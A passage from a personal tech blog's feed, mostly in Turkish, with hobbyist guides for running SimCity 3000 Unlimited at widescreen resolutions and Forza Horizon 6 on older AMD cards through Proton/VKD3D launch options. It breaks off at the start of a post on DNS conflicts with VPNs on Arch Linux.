id="cd-derdinden-ve-kare-ekran-prangalarndan-kurtulmak-gog-yamas">CD Derdinden ve Kare Ekran Prangalar&inodot;ndan Kurtulmak (GOG Yamas&inodot;)<a class="headerlink" href="#cd-derdinden-ve-kare-ekran-prangalarndan-kurtulmak-gog-yamas" title="Permanent link">#</a></h2> <p>Orijinal CD ile &ccedil;al&inodot;&scedil;t&inodot;rma devri &ccedil;oktan kapand&inodot; hac&inodot;. Hem CD'yi tak-&ccedil;&inodot;kar yapmamak hem de oyuna geni&scedil; ekran (widescreen) yetene&gbreve;i kazand&inodot;rmak i&ccedil;in ilk i&scedil;imiz GOG ekibinin haz&inodot;rlad&inodot;&gbreve;&inodot; yama dosyas&inodot;n&inodot; &ccedil;ekmek olacak.</p> <ul> <li><strong>Dosyalar elimizin alt&inodot;nda:</strong> Yamay&inodot; <a href="https://support.gog.com/hc/en-us/articles/360018687573-Simcity-3000-Unlimited-widescreen-support?product=gog" rel="noopener noreferrer" target="_blank">GOG Resmi Destek Sayfas&inodot;</a> &uuml;zerinden veya do&gbreve;rudan <a href="https://files.catbox.moe/25e7rj.zip" rel="noopener noreferrer" target="_blank">Alternatif Catbox Aynas&inodot;</a> linkinden indirebilirsiniz. (Dosya do&gbreve;rulamas&inodot; i&ccedil;in MD5 kodu: <code>638eb5b3e7de9ada9b61a1ea40d276a4</code>)</li> </ul> <p>&Idot;ndirdi&gbreve;iniz ar&scedil;ivdeki &ccedil;al&inodot;&scedil;t&inodot;r&inodot;labilir dosyay&inodot; (EXE), oyunun kurulu oldu&gbreve;u klas&ouml;rdeki orijinal dosyan&inodot;n &uuml;zerine yaz&inodot;n. Bu i&scedil;lem hem CD kontrol&uuml;n&uuml; ortadan kald&inodot;r&inodot;yor hem de geni&scedil; ekran &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;klerinin &ouml;n&uuml;n&uuml; a&ccedil;&inodot;yor. Yaln&inodot;z uyaray&inodot;m; &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;&gbreve;&uuml; art&inodot;r&inodot;nca fare hassasiyeti sap&inodot;tacakt&inodot;r, onu da hemen bir alt ad&inodot;mda &ccedil;&ouml;zece&gbreve;iz.</p> <h2 id="cldran-fareyi-dizginlemek-mouse-hassasiyeti-ayar">&Ccedil;&inodot;ld&inodot;ran Fareyi Dizginlemek (Mouse Hassasiyeti Ayar&inodot;)<a class="headerlink" href="#cldran-fareyi-dizginlemek-mouse-hassasiyeti-ayar" title="Permanent link">#</a></h2> <p>Y&uuml;ksek &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;&gbreve;e ge&ccedil;ince oyundaki fare ivmesi (acceleration) o kadar art&inodot;yor ki, haritada iki santim kayd&inodot;rmak isterken kendinizi haritan&inodot;n en ucunda buluyorsunuz. Bunun &ccedil;&ouml;z&uuml;m&uuml; oyunun ayar dosyas&inodot;nda gizli.</p> <p>Oyunun kurulu oldu&gbreve;u dizine gidip <code>SC3U.ini</code> dosyas&inodot;n&inodot; bulun. Dosyay&inodot; favori metin edit&ouml;r&uuml;n&uuml;zle a&ccedil;&inodot;p <code>[Navigation]</code> ba&scedil;l&inodot;&gbreve;&inodot; alt&inodot;ndaki de&gbreve;eri &scedil;u &scedil;ekilde g&uuml;ncelleyin:</p> <div class="highlight"><pre><span></span><code><span class="k">[Navigation]</span> <span class="na">ScrollMarginFactor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">0.005787</span> </code></pre></div> <p>E&gbreve;er Steam'den indirdiyseniz bu dosya klas&ouml;rde olmayabilir<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. Tela&scedil;a gerek yok; kendiniz bo&scedil; bir metin dosyas&inodot; olu&scedil;turup ad&inodot;n&inodot; <code>SC3U.ini</code> yap&inodot;n ve yukar&inodot;daki sat&inodot;rlar&inodot; i&ccedil;ine yap&inodot;&scedil;t&inodot;r&inodot;p kaydedin.</p> <h2 id="4k-monitorde-ekran-kartn-ikna-etmek-d3d-wrapper-cozumu">4K Monit&ouml;rde Ekran Kart&inodot;n&inodot; &Idot;kna Etmek (D3D Wrapper &Ccedil;&ouml;z&uuml;m&uuml;)<a class="headerlink" href="#4k-monitorde-ekran-kartn-ikna-etmek-d3d-wrapper-cozumu" title="Permanent link">#</a></h2> <p>Monit&ouml;r&uuml;m native 3840x2160 &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kte &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot; i&ccedil;in oyunu bu &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;&gbreve;e &ccedil;ekince grafikler darmada&gbreve;&inodot;n oldu. Modern ekran kartlar&inodot; (DirectX 11 ve &uuml;zeri) bu eski Direct3D kodlar&inodot;n&inodot; d&uuml;zg&uuml;n yorumlayam&inodot;yor. G&ouml;r&uuml;nt&uuml;deki o yamuklu&gbreve;u gidermek ve ekran kart&inodot;yla oyunu bar&inodot;&scedil;t&inodot;rmak i&ccedil;in araya bir Direct3D sarmalay&inodot;c&inodot;s&inodot; (D3D wrapper) sokmam&inodot;z &scedil;art.</p> <ul> <li><strong>&Idot;ndirilecek paket:</strong> <a href="https://community.pcgamingwiki.com/files/file/3171-simcity-3000-compatibility-fixes-dxwrapper-alternative/" rel="noopener noreferrer" target="_blank">PC Gaming Wiki</a> veya <a href="https://files.catbox.moe/y7xs3y.zip" rel="noopener noreferrer" target="_blank">Alternatif Catbox Aynas&inodot;</a> (MD5: <code>e97d0989cab120608800f2e3395581a7</code>)</li> </ul> <p>Bu paketi indirip i&ccedil;indeki t&uuml;m dosyalar&inodot; oyunun <code>Apps</code> klas&ouml;r&uuml;ne ay&inodot;klay&inodot;n.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! Windows G&ouml;rev &Ccedil;ubu&gbreve;u Oyun Keyfinizi B&ouml;lmesin</p> </div> <p>Bu sarmalay&inodot;c&inodot; varsay&inodot;lan olarak oyunu kenarl&inodot;ks&inodot;z pencere (borderless) modunda a&ccedil;maya &ccedil;al&inodot;&scedil;&inodot;r. Haliyle Windows'un g&ouml;rev &ccedil;ubu&gbreve;u oyunu ekran&inodot;n alt&inodot;na do&gbreve;ru itip hizalamay&inodot; bozuyor. Bunun &ouml;n&uuml;ne ge&ccedil;mek i&ccedil;in <code>Apps</code> klas&ouml;r&uuml;ndeki <code>dxwrapper.ini</code> dosyas&inodot;n&inodot; a&ccedil;&inodot;n ve &scedil;u ayarlar&inodot; yap&inodot;n:</p> <div class="highlight"><pre><span></span><code><span class="w"> </span><span class="k">[d3d9]</span> <span class="w"> </span><span class="na">EnableWindowMode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">0</span> <span class="w"> </span><span class="na">...</span> <span class="w"> </span><span class="k">[FullScreen]</span> <span class="w"> </span><span class="na">FullScreen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1</span> </code></pre></div> <p>B&ouml;ylece oyun ger&ccedil;ek tam ekran modunda ba&scedil;lar ve g&ouml;rev &ccedil;ubu&gbreve;uyla u&gbreve;ra&scedil;mazs&inodot;n&inodot;z.</p> <h2 id="haritadaki-gri-bosluklar-yok-etmek-4gb-yamas">Haritadaki Gri Bo&scedil;luklar&inodot; Yok Etmek (4GB Yamas&inodot;)<a class="headerlink" href="#haritadaki-gri-bosluklar-yok-etmek-4gb-yamas" title="Permanent link">#</a></h2> <p>Haritada gezinirken baz&inodot; karelerin &ouml;nce gri/soluk bir kutu olarak g&ouml;r&uuml;n&uuml;p birka&ccedil; saniye sonra y&uuml;klenmesi can s&inodot;k&inodot;c&inodot;d&inodot;r hac&inodot;. Oyun 32-bit mimariyle yaz&inodot;ld&inodot;&gbreve;&inodot; i&ccedil;in modern sistemlerdeki devasa RAM'leri verimli kullanam&inodot;yor. Oyuna biraz nefes ald&inodot;rmak i&ccedil;in 4GB yamas&inodot;n&inodot; uygulayaca&gbreve;&inodot;z.</p> <ul> <li><strong>Yamay&inodot; Edinin:</strong> <a href="https://ntcore.com/4gb-patch/" rel="noopener noreferrer" target="_blank">NTCore 4GB Patch</a></li> </ul> <p>Arac&inodot; indirip &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n, ard&inodot;ndan de&gbreve;i&scedil;tirdi&gbreve;imiz <code>SC3K.exe</code> (veya <code>SC3U.exe</code>)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> dosyas&inodot;n&inodot; se&ccedil;ip yamalay&inodot;n. Bilimsel olarak test etmedim ama haritay&inodot; h&inodot;zl&inodot;ca kayd&inodot;r&inodot;rken grafiklerin gecikmeli gelme sorununu b&inodot;&ccedil;ak gibi kesti&gbreve;ini s&ouml;yleyebilirim.</p> <h2 id="giristeki-o-bitmek-bilmeyen-bekleme-sorunu">Giri&scedil;teki O Bitmek Bilmeyen Bekleme Sorunu<a class="headerlink" href="#giristeki-o-bitmek-bilmeyen-bekleme-sorunu" title="Permanent link">#</a></h2> <p>Oyunu ilk ba&scedil;latt&inodot;&gbreve;&inodot;n&inodot;zda ekran&inodot;n dakikalarca donup kalmas&inodot; veya a&scedil;&inodot;r&inodot; yava&scedil; &ccedil;al&inodot;&scedil;mas&inodot; tamamen EA/Maxis'in o d&ouml;nemki g&uuml;ncelleme sunucular&inodot;yla alakal&inodot;. Oyun a&ccedil;&inodot;l&inodot;rken art&inodot;k mezarl&inodot;kta olan o g&uuml;ncelleme sunucusuna ba&gbreve;lanmaya &ccedil;al&inodot;&scedil;&inodot;yor ve yan&inodot;t alamad&inodot;k&ccedil;a bekliyor. Bu sa&ccedil;mal&inodot;&gbreve;&inodot; kapatmak i&ccedil;in sahte bir ayar dosyas&inodot; kullanaca&gbreve;&inodot;z.</p> <ul> <li><strong>Ayar&inodot; &Idot;ndirin:</strong> <a href="https://community.simtropolis.com/omnibus/other-games/simcity-3000-unlimited-performance-problems-maxis-r329/" rel="noopener noreferrer" target="_blank">Simtropolis</a> veya <a href="https://files.catbox.moe/cewlvf.zip" rel="noopener noreferrer" target="_blank">Alternatif Catbox Aynas&inodot;</a> (MD5: <code>e01ec9e7568560f493ff4cbbebb0e3d4</code>)</li> </ul> <p>&Idot;ndirdi&gbreve;iniz zipten &ccedil;&inodot;kan dosyan&inodot;n ad&inodot;n&inodot; <code>UpdateSettings.ini</code> yap&inodot;n. Sonra oyunun klas&ouml;r&uuml;ndeki <code>Apps/Updater</code> dizinine gidip mevcut dosyan&inodot;n &uuml;zerine yaz&inodot;n. Oyunu a&ccedil;t&inodot;&gbreve;&inodot;n&inodot;zda o dakikalar s&uuml;ren donman&inodot;n tarih oldu&gbreve;unu g&ouml;receksiniz.</p> <h2 id="cd-olmadan-nostaljik-caz-melodilerini-dinlemek">CD Olmadan Nostaljik Caz Melodilerini Dinlemek<a class="headerlink" href="#cd-olmadan-nostaljik-caz-melodilerini-dinlemek" title="Permanent link">#</a></h2> <p>SimCity 3000'in o muazzam m&uuml;zikleri olmadan oyunun tad&inodot; tuzu &ccedil;&inodot;kmaz. Unlimited s&uuml;r&uuml;m&uuml;nde baz&inodot; m&uuml;ziklerin <code>.ini</code> dosyas&inodot;nda ad&inodot; ge&ccedil;medi&gbreve;i i&ccedil;in dosyalar klas&ouml;rde olsa bile oyunda &ccedil;almaz.</p> <ul> <li><strong>M&uuml;zik Listesi Yamas&inodot;:</strong> <a href="https://community.pcgamingwiki.com/files/file/2415-simcity-3000-unlimited-re-composed/" rel="noopener noreferrer" target="_blank">PC Gaming Wiki</a> veya <a href="https://files.catbox.moe/msx1jh.7z" rel="noopener noreferrer" target="_blank">Alternatif Catbox Aynas&inodot;</a> (MD5: <code>5877e363565850306131e564e364481c</code>)</li> </ul> <p>Bu paketi do&gbreve;rudan oyunun ana dizinine ay&inodot;klay&inodot;n.</p> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡ CD'deki M&uuml;zik Dosyalar&inodot;n&inodot; HDD'ye Ta&scedil;&inodot;mak</p> <p>E&gbreve;er oyunu benim gibi fiziksel CD'den kurduysan&inodot;z, kurulum sihirbaz&inodot; m&uuml;zikleri bilgisayar&inodot;n&inodot;za kopyalamaz. CD'nin i&ccedil;erisindeki <code>APPS/RES/SOUND/MUSIC</code> klas&ouml;r&uuml;ne girip oradaki t&uuml;m <code>.xa</code> uzant&inodot;l&inodot; dosyalar&inodot; bilgisayar&inodot;n&inodot;zda oyunun kurulu oldu&gbreve;u ayn&inodot; klas&ouml;re kopyalay&inodot;n. B&ouml;ylece CD s&uuml;r&uuml;c&uuml;n&uuml;z&uuml; g&uuml;r&uuml;lt&uuml;yle d&ouml;nd&uuml;rmeden m&uuml;zikleri t&inodot;k&inodot;r t&inodot;k&inodot;r dinleyebilirsiniz.</p> </div> <h2 id="peki-windows-11-kullananlar-ne-yapacak">Peki Windows 11 Kullananlar Ne Yapacak?<a class="headerlink" href="#peki-windows-11-kullananlar-ne-yapacak" title="Permanent link">#</a></h2> <p>Ben bu ayarlar&inodot; Windows 10 LTSC 2021 kurulu test bilgisayar&inodot;mda denedim ve canavar gibi sonu&ccedil; ald&inodot;m. Windows 11'i evdeki sistemlerime yakla&scedil;t&inodot;rmad&inodot;&gbreve;&inodot;m&inodot; s&inodot;k&inodot; takip&ccedil;ilerim bilir. Fakat ald&inodot;&gbreve;&inodot;m geri bildirimlere g&ouml;re bu ad&inodot;mlar&inodot; Windows 11'de uygulayanlar da sorunsuz bir &scedil;ekilde &scedil;ehir y&ouml;netmeye ba&scedil;lam&inodot;&scedil;lar. &Ouml;zellikle ultra geni&scedil; (ultrawide) ekran kullananlar (5120x2160 gibi) wrapper yard&inodot;m&inodot;yla oyunu devasa ekranlarda bile tam uyumlu &ccedil;al&inodot;&scedil;t&inodot;rm&inodot;&scedil;lar.</p> <p>Kendi ellerinizle kurdu&gbreve;unuz, b&uuml;t&ccedil;esini kuru&scedil;u kuru&scedil;una hesaplad&inodot;&gbreve;&inodot;n&inodot;z o &scedil;ehrin duman&inodot; t&uuml;ten fabrikalar&inodot;n&inodot; izlerken bana bir te&scedil;ekk&uuml;r edersiniz art&inodot;k.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla!</p> <hr/> <h3 id="laboratuvardan-diger-notlar">🔗 Laboratuvardan Di&gbreve;er Notlar<a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link">#</a></h3> <p>Sistemleri kurcalarken ve oyunlar&inodot;n dibine vururken i&scedil;inize yarayacak di&gbreve;er yaz&inodot;lar&inodot;m da &scedil;urada:</p> <ul> <li><a href="/linux-space-cadet-pinball-kurulumu/">Linux'ta Nostalji R&uuml;zgar&inodot;: Space Cadet Pinball ve O Gizli Sabahlar</a></li> <li><a href="/forza-horizon-6-fh201-hatasi-cozumu/">Forza Horizon 6'y&inodot; Emektar RX 480 &Idot;le Oynamak (FH201 Hatas&inodot; Kesin &Ccedil;&ouml;z&uuml;m)</a></li> <li><a href="/lutris-installed-file-impact-ttf-not-found-cozumu/">Lutris'in impact.ttf &Idot;nad&inodot; ve O G&inodot;c&inodot;k Return Code 256 Hatas&inodot;n&inodot;n &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/linux-oyunlara-turkce-yama-kurulumu/">Linux Oyunlara T&uuml;rk&ccedil;e Yama Kurulumu</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Steam kurulumunda varsay&inodot;lan olarak SC3U.ini bulunmayabiliyor. Bu durumda oyunun ana klas&ouml;r&uuml;nde (Apps dizininde) yeni bir metin belgesi olu&scedil;turup ad&inodot;n&inodot; <code>SC3U.ini</code> yapman&inodot;z ve i&ccedil;ine bu sat&inodot;rlar&inodot; girmeniz yeterli.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>NTCore taraf&inodot;ndan geli&scedil;tirilen bu 4GB yamas&inodot;, 32-bitlik uygulamalar&inodot;n 64-bit i&scedil;letim sistemlerinde 2GB yerine 4GB sanal bellek adreslemesini sa&gbreve;lar. Bu sayede bellek ta&scedil;mas&inodot;ndan kaynakl&inodot; &ccedil;&ouml;kmelerin de &ouml;n&uuml;ne ge&ccedil;ilmi&scedil; olur.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T03:30:00+03:002026-05-29T03:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/en/forza-horizon-6-fh201-hatasi-cozumu/

<p>I explain how to overcome the FH201 and FH205 error in Forza Horizon 6 on unsupported older AMD graphics cards (RX 400/500 series) using Proton and VKD3D parameters.</p>

<p>I decided to dive into Forza Horizon 6 one evening, perched at my DIY Steam Machine set up in my home lab. But thanks to Microsoft, the moment it recognized my trusty AMD RX 480, I was slapped with that familiar error: <strong>FH201 Error</strong>.</p> <p>Apparently, Radeon 400 and 500 series graphics cards with Polaris or Vega architecture are no longer on the "minimum supported hardware" list. The easiest path would have been to hit "Refund" on Steam and call it a night with some instant noodles. But hey, we've tinkered with terminals enough to know we don't give up that easily, right? Never. With <a href="https://www.reddit.com/r/linux_gaming/comments/1ti2xpd/fixes_for_forza_horizon_6_fh101_cpu_cores_or/" rel="noopener noreferrer" target="_blank">this fantastic guide on Reddit</a> as my backup, I rolled up my sleeves.</p> <h2 id="why-isnt-this-thing-supported">Why Isn't This Thing Supported?<a class="headerlink" href="#why-isnt-this-thing-supported" title="Permanent link">#</a></h2> <p>The issue boils down entirely to DirectX 12 features. The game expects the graphics card to possess certain DirectX levels at a hardware level. Our older generation cards lack these features in hardware. But thankfully, Linux's gift to the gaming world, <strong>Proton</strong>, and <strong>Vulkan</strong>, come to our rescue.</p> <p>Through Proton's translation layer, we can emulate those missing DirectX features the game expects, making it seem like they're there. Since our graphics cards fully support Vulkan, this false declaration is enough to fool the game engine<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>.</p> <h2 id="the-fix-launch-parameters">The Fix: Launch Parameters<a class="headerlink" href="#the-fix-launch-parameters" title="Permanent link">#</a></h2> <p>If your processor is sufficient for Forza Horizon 6 (my system has an i5-10500 and it handles it quite well), all you need to do is add the following parameters to the game's launch options in Steam.</p> <div class="admonition warning"> <p class="admonition-title">Heads up! This part is critical.</p> <p>When copying the command below, make sure you don't miss the <code>%command%</code> at the end. Otherwise, the game won't launch correctly through Steam.</p> </div> <div class="highlight"><pre><span></span><code><span class="nv">VKD3D_FEATURE_LEVEL</span><span class="o">=</span>12_1<span class="w"> </span><span class="nv">VKD3D_CONFIG</span><span class="o">=</span>descriptor_heap,no_upload_h_vram<span class="w"> </span><span class="nv">RADV_EXPERIMENTAL</span><span class="o">=</span>heap,sync2<span class="w"> </span><span class="nv">radv_wait_for_vm_map_updates</span><span class="o">=</span><span class="nb">true</span><span class="w"> </span>%command%<span class="w"> </span> </code></pre></div> <p>After entering this command and launching the game, that annoying FH201 screen disappears, and you can jump straight into the race.</p> <h2 id="fps-and-performance-realities">FPS and Performance Realities<a class="headerlink" href="#fps-and-performance-realities" title="Permanent link">#</a></h2> <p>At 1080p resolution with Low or Medium settings, it offers a quite playable experience. While you get a stable 60 FPS on Low settings, on Medium, especially in dense areas like Tokyo, the FPS can drop to around 40. But believe me, instead of shelling out several times the minimum wage for a new case, PSU, and graphics card combo, cruising along at 40 FPS feels a lot sweeter.</p> <p>Stay cool, folks, I'm off to push my RX 480 a bit harder on the streets of Tokyo.</p> <hr/> <h3 id="more-notes-from-the-lab">🔗 More Notes from the Lab<a class="headerlink" href="#more-notes-from-the-lab" title="Permanent link">#</a></h3> <p>The gaming situation on Linux isn't something you can cover in a single post. Here are some other experiences that might be useful as you tinker with your system:</p> <ul> <li><a href="/en/mangohud-ile-oyun-performansi-izleme/">Monitoring Game Performance with MangoHud</a></li> <li><a href="/en/linux-gpu-driver-rehberi/">Linux GPU Driver Guide</a></li> <li><a href="/en/steam-debian-oyun-acilmiyor-wrong-elf-class-libgamemodeauto-hatasi-cozumu/">Steam "Wrong ELF Class" Error and Its Solution</a></li> <li><a href="/en/linux-oyunlara-turkce-yama-kurulumu/">Installing Turkish Patches for Games on Linux</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>This emulation is done via VKD3D (a Vulkan-based D3D12 implementation). The <code>VKD3D_FEATURE_LEVEL=12_1</code> command is precisely for this purpose.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T03:30:00+03:002026-05-29T03:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/forza-horizon-6-fh201-hatasi-cozumu/

<p>Forza Horizon 6'nın desteklenmeyen eski AMD ekran kartlarında (RX 400/500 serisi) FH201 ve FH205 hatası vermesini Proton ve VKD3D parametreleriyle nasıl aştığımı anlatıyorum.</p>

<p>Kendi evimdeki lab ortam&inodot;mda (homelab) kurdu&gbreve;um DIY Steam Machine'in ba&scedil;&inodot;na ge&ccedil;ip ak&scedil;am&inodot;n bir saati Forza Horizon 6'ya dalay&inodot;m dedim. Ama Microsoft sa&gbreve; olsun, benim emektar AMD RX 480'e bakar bakmaz y&uuml;z&uuml;me o malum tokad&inodot; &ccedil;arpt&inodot;: <strong>FH201 Hatas&inodot;</strong>.</p> <p>Neymi&scedil; efendim, Polaris veya Vega mimarili Radeon 400 ve 500 serisi ekran kartlar&inodot; art&inodot;k "minimum desteklenen donan&inodot;m" listesinde de&gbreve;ilmi&scedil;. Steam'den "&Idot;ade Et" butonuna bas&inodot;p gidip makarna-yo&gbreve;urt yiyerek geceyi kapatmak en kolay yoldu. Ama biz bir kere o terminalin tozunu yutmu&scedil;uz hac&inodot;, kolay pes eder miyiz? Asla. <a href="https://www.reddit.com/r/linux_gaming/comments/1ti2xpd/fixes_for_forza_horizon_6_fh101_cpu_cores_or/" rel="noopener noreferrer" target="_blank">Reddit'teki &scedil;u harika rehberi</a> de arkama al&inodot;p kollar&inodot; s&inodot;vad&inodot;m.</p> <h2 id="neden-desteklenmiyor-bu-zmbrt">Neden Desteklenmiyor Bu Z&inodot;mb&inodot;rt&inodot;?<a class="headerlink" href="#neden-desteklenmiyor-bu-zmbrt" title="Permanent link">#</a></h2> <p>Mevzu asl&inodot;nda tamamen DirectX 12 &ouml;zellikleriyle alakal&inodot;. Oyun, ekran kart&inodot;n&inodot;n donan&inodot;msal olarak baz&inodot; DirectX seviyelerine sahip olmas&inodot;n&inodot; bekliyor. Bizim eski nesil kartlarda bu &ouml;zellikler donan&inodot;msal olarak yok. Fakat burada imdad&inodot;m&inodot;za Linux'un oyun d&uuml;nyas&inodot;na arma&gbreve;an&inodot; <strong>Proton</strong> ve <strong>Vulkan</strong> yeti&scedil;iyor.</p> <p>Proton &ccedil;eviri katman&inodot; sayesinde, oyunun bekledi&gbreve;i o eksik DirectX &ouml;zelliklerini "varm&inodot;&scedil; gibi" taklit edebiliyoruz. Ekran kart&inodot;m&inodot;z Vulkan'&inodot; &ccedil;at&inodot;r &ccedil;at&inodot;r destekledi&gbreve;i i&ccedil;in, bu sahte bildirim oyun motorunu kand&inodot;rmaya yetiyor<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>.</p> <h2 id="hatann-cozumu-baslatma-parametreleri">Hatan&inodot;n &Ccedil;&ouml;z&uuml;m&uuml;: Ba&scedil;latma Parametreleri<a class="headerlink" href="#hatann-cozumu-baslatma-parametreleri" title="Permanent link">#</a></h2> <p>E&gbreve;er i&scedil;lemciniz Forza Horizon 6 i&ccedil;in yeterliyse (benim sistemde i5-10500 var ve gayet rahat yetiyor), yapman&inodot;z gereken tek &scedil;ey Steam &uuml;zerinden oyunun ba&scedil;latma se&ccedil;eneklerine (launch options) &scedil;u parametreleri girmek.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! Hac&inodot; bura &ccedil;ok kritik.</p> <p>A&scedil;a&gbreve;&inodot;daki komutu kopyalarken sonundaki <code>%command%</code> k&inodot;sm&inodot;n&inodot; atlamad&inodot;&gbreve;&inodot;n&inodot;zdan emin olun. Yoksa oyun Steam &uuml;zerinden tetiklenmez.</p> </div> <div class="highlight"><pre><span></span><code><span class="nv">VKD3D_FEATURE_LEVEL</span><span class="o">=</span>12_1<span class="w"> </span><span class="nv">VKD3D_CONFIG</span><span class="o">=</span>descriptor_heap,no_upload_h_vram<span class="w"> </span><span class="nv">RADV_EXPERIMENTAL</span><span class="o">=</span>heap,sync2<span class="w"> </span><span class="nv">radv_wait_for_vm_map_updates</span><span class="o">=</span><span class="nb">true</span><span class="w"> </span>%command%<span class="w"> </span> </code></pre></div> <p>Bu komutu girdikten sonra oyunu ba&scedil;latt&inodot;&gbreve;&inodot;n&inodot;zda o sinir bozucu FH201 ekran&inodot; gidiyor ve yar&inodot;&scedil;a do&gbreve;rudan dal&inodot;yorsunuz.</p> <h2 id="fps-ve-performans-gercekleri">FPS ve Performans Ger&ccedil;ekleri<a class="headerlink" href="#fps-ve-performans-gercekleri" title="Permanent link">#</a></h2> <p>1080p &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kte d&uuml;&scedil;&uuml;k (Low) veya orta (Medium) ayarlarda gayet oynanabilir bir deneyim sunuyor. D&uuml;&scedil;&uuml;k ayarlarda sabit 60 FPS al&inodot;rken, orta ayarlarda &ouml;zellikle Tokyo gibi yo&gbreve;un b&ouml;lgelere girdi&gbreve;inizde FPS 40'lara kadar d&uuml;&scedil;ebiliyor. Ama inan&inodot;n bana, yeni bir kasa, PSU ve ekran kart&inodot; &uuml;&ccedil;l&uuml;s&uuml;ne asgari &uuml;cretin bilmem ka&ccedil; kat&inodot;n&inodot; g&ouml;mmektense, 40 FPS'de yanlamak &ccedil;ok daha tatl&inodot; geliyor.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla, ben Tokyo sokaklar&inodot;nda RX 480'i biraz daha terletmeye gidiyorum.</p> <hr/> <h3 id="laboratuvardan-diger-notlar">🔗 Laboratuvardan Di&gbreve;er Notlar<a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link">#</a></h3> <p>Linux'ta oyun mevzusu tek yaz&inodot;yla kapanmaz. Sistemi kurcalarken i&scedil;ine yarayacak di&gbreve;er tecr&uuml;belerim de &scedil;urada:</p> <ul> <li><a href="/mangohud-ile-oyun-performansi-izleme/">MangoHud ile Oyun Performans&inodot; &Idot;zleme</a></li> <li><a href="/linux-gpu-driver-rehberi/">Linux GPU S&uuml;r&uuml;c&uuml; Rehberi</a></li> <li><a href="/steam-debian-oyun-acilmiyor-wrong-elf-class-libgamemodeauto-hatasi-cozumu/">Steam "Wrong ELF Class" Hatas&inodot; ve &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/linux-oyunlara-turkce-yama-kurulumu/">Linux'ta Oyunlara T&uuml;rk&ccedil;e Yama Kurulumu</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Bu taklit i&scedil;lemi VKD3D (Vulkan tabanl&inodot; D3D12 implementasyonu) &uuml;zerinden yap&inodot;l&inodot;yor. <code>VKD3D_FEATURE_LEVEL=12_1</code> komutu tam olarak bu i&scedil;e yar&inodot;yor.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-24T07:50:00+03:002026-05-24T20:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-24:/arch-linux-dns-vpn-systemd-resolved-unbound/

<p>Arch Linux üzerinde birden fazla VPN aktifken yaşanan DNS çakışmalarını, systemd-resolved'un garip önbellekleme mantığını ve local Unbound ile split-DNS kurulumunu çözüyoruz.</p>

<p>Bo&scedil; zamanlar&inodot;mda kendi sistemlerimi kurcalamay&inodot;, yerel sunucumda (homelab) bir &scedil;eyler in&scedil;a edip yeni teknolojiler denemeyi acayip seviyorum. Ge&ccedil;en ak&scedil;am yine evde kendi lab ortam&inodot;mda yeni bir yap&inodot;land&inodot;rma &uuml;zerinde &ccedil;al&inodot;&scedil;&inodot;rken, AWS EKS (Elastic Kubernetes Service) k&uuml;mesindeki pod durumlar&inodot;n&inodot; kontrol etmek i&ccedil;in terminali a&ccedil;t&inodot;m. Rutin bir &scedil;ekilde <code>kubectl get pod</code> komutunu yap&inodot;&scedil;t&inodot;rd&inodot;m. Bekliyorum... Bekliyorum... Ve bam:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>kk<span class="w"> </span>get<span class="w"> </span>pod <span class="o">[</span>...<span class="o">]</span><span class="w"> </span>Get<span class="w"> </span><span class="s2">"https://F07***D78.gr7.us-east-1.eks.amazonaws.com/api?timeout=32s"</span>:<span class="w"> </span>dial<span class="w"> </span>tcp<span class="w"> </span><span class="m">10</span>.0.64.9:443:<span class="w"> </span>i/o<span class="w"> </span>timeout </code></pre></div> <p>"Ulan yine neyi bozdum?" diyerek komutu tekrar &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;m. Bu sefer sorunsuz bir &scedil;ekilde pod listesi d&ouml;k&uuml;ld&uuml;. &Uuml;&ccedil;&uuml;nc&uuml; kez &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;m, yine timeout! Resmen terminal benimle yaz&inodot;-tura oynuyordu. </p> <p>&Idot;&scedil;in i&ccedil;inde hem ev internetim, hem AWS kaynaklar&inodot;na eri&scedil;mek i&ccedil;in kurdu&gbreve;um OpenVPN ba&gbreve;lant&inodot;s&inodot;, hem de evdeki di&gbreve;er sunucular&inodot;ma ba&gbreve;lanmak i&ccedil;in kulland&inodot;&gbreve;&inodot;m kendi WireGuard t&uuml;nelim olunca, klasik bir Arch Linux 